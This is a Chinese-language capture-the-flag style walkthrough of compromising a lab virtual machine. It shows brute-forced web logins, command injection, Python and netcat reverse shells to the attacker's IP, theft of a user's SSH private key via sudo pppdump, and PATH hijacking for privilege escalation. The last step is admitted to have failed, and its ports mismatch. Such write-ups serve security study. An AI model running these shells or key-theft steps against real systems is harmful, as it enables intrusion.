部署环境
提供镜像文件后,直接用虚拟机打开即可,kali攻击机用VMware打开即可,靶机用vbox打开即可
kali攻击机ip地址:192.168.1.11(桥接)
靶机ip地址:(桥接自动获取ip)
信息收集
扫描主机
arp-scan -l
发现存活主机ip地址 192.168.1.7
扫描端口
扫描靶机开放的服务端口
nmap -p- -A 192.168.1.7
发现也就是22和80端口正常开放,那接下来还是老套路,对80web端口开始渗透
Web渗透
http://192.168.1.7/
只有一张图片,并没有什么东西,那就直接目录扫描看一下
目录扫描
发现了三个目录,挨个访问一下看看
http://192.168.1.7/icons
这个就直接挂了,再看看下一个 这就是一个Apache的界面,再看一下最后一个
http://192.168.1.7/sysadmin/
伪造IP访问
感觉应该是最后一个是突破点,试过域名,但是明显就不对,那就试试x-forward-for试试 发现这个是可以的,对于登录框界面,这个在我以往的博客中有介绍,具体该怎么做,大家到时候可以去看一下,这个没有验证码,也没有别的,就是用来爆破,直接上bp就行
暴力破解
设置bp抓包,感觉对于这种靶场来说,用户名应该没什么问题,都是admin,主要就是密码,所以我们假设用户名是admin,爆破密码试试 最终尝试得到用户名密码,
用户名:admin 密码:fucker1
然后发现还是system权限,界面在收集收集信息看看 发现说执行什么都行,那就进行尝试,但是这个时候突然出现个问题,就是到底那个参数才是这个正确的呢,这就很尴尬了,所以还是得用bp进行爆破,尝试得到正确的参数
拿到参数,我们试下效果
http://192.168.1.7/sysadmin/system/?mission=id
现在可以反弹shell到攻击机上
反弹Shell
1、攻击机监听4444端口
nc -lvvp 4444
2、执行反弹shell命令
http://192.168.1.7/sysadmin/system/?mission=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功,互换到交互式shell
python3 -c ‘import pty;pty.spawn("/bin/bash")’
切换完,找一下主机的敏感信息
cat /etc/passwd
找到3个用户
提权
sudo -l
切换完看看有没有什么敏感的信息,
找到可以使用user1身份执行pppdump命令,先看下这个pppdump是什么文件
man pppdump
这是转换ppp文件为可读格式的工具,尝试读取文件
pppdump index.php
好像可以读,但是变成了16进制,试着读取用户目录下的id_rsa文件
sudo -u user1 pppdump /home/user1/.ssh/id_rsa
有id_rsa文件,把内容保存下来再去转换
cd /tmp sudo -u user1 pppdump /home/user1/.ssh/id_rsa >id_rsa
把文件拿去解一下
https://icyberchef.com/#recipe=From_Hex(‘Auto’)
把key保存到攻击机上,SSH登录到靶机
vi id_rsa chmod 600 id_rsa ssh user1@192.168.1.7 -i id_rsa
登录成功,再来找找提权信息
sudo -l
找到可以使用user2用户的身份执行code.py脚本,看一下这个脚本是干什么的
cd /home/user2/socket cat code.py
这个脚本会通过socket.SOCK_STREAM接收数据,如果接收到了就会执行收到的命令,验证一下
需要建立两个SSH连接,一个执行code.py,另一个发送数据,另外攻击机上还要监听3333端口用来接收反弹回来的shell
SSH连接1
sudo -u user2 /usr/bin/python /home/user2/socket/code.py
SSH连接2
echo ‘nc 192.168.1.11 3333 -e “/bin/bash”’ | socat - UNIX-CLIENT:/home/user2/socket/socket_test.s
攻击机
nc -lvvp 3333
接收到shell,切换下交互式shell
python3 -c ‘import pty;pty.spawn("/bin/bash")’
切换完成,寻找提权的方法
cd /home/user3 ls -al
这个时候有同学要说了,那你为什么不用sudo -l呢,这个问得好,,,因为你是用秘钥登录进来的,不是密码 继续看看目录里面 user3用户目录下发现隐藏文件.privacy.txt,看一下内容
cat .privacy.txt
一段加密的字符串看着像md5,拿去试试 拿到密码,切换到user3
su user3 cd /home/user3 ls cat TODO.txt
在TODO.txt文件中找到提示,让我们查找user.txt,但是执行find命令,提示没有权限 ,只能手动查找了
cd /opt ls -al
user.txt没找到,找到一个提权命令,来看看这个命令执行了哪些命令
strings check
我们到/tmp目录下创建service命令,再劫持环境变量达到提权
攻击机监听1234端口
nc -lvp 1234
cd /tmp echo ‘nc 192.168.1.11 1134 -e “/bin/bash”’ >service chmod +x service /opt/check
但是我就是监听不到不知道为什么,只能直接借用大佬的了 提权成功,找一下flag
|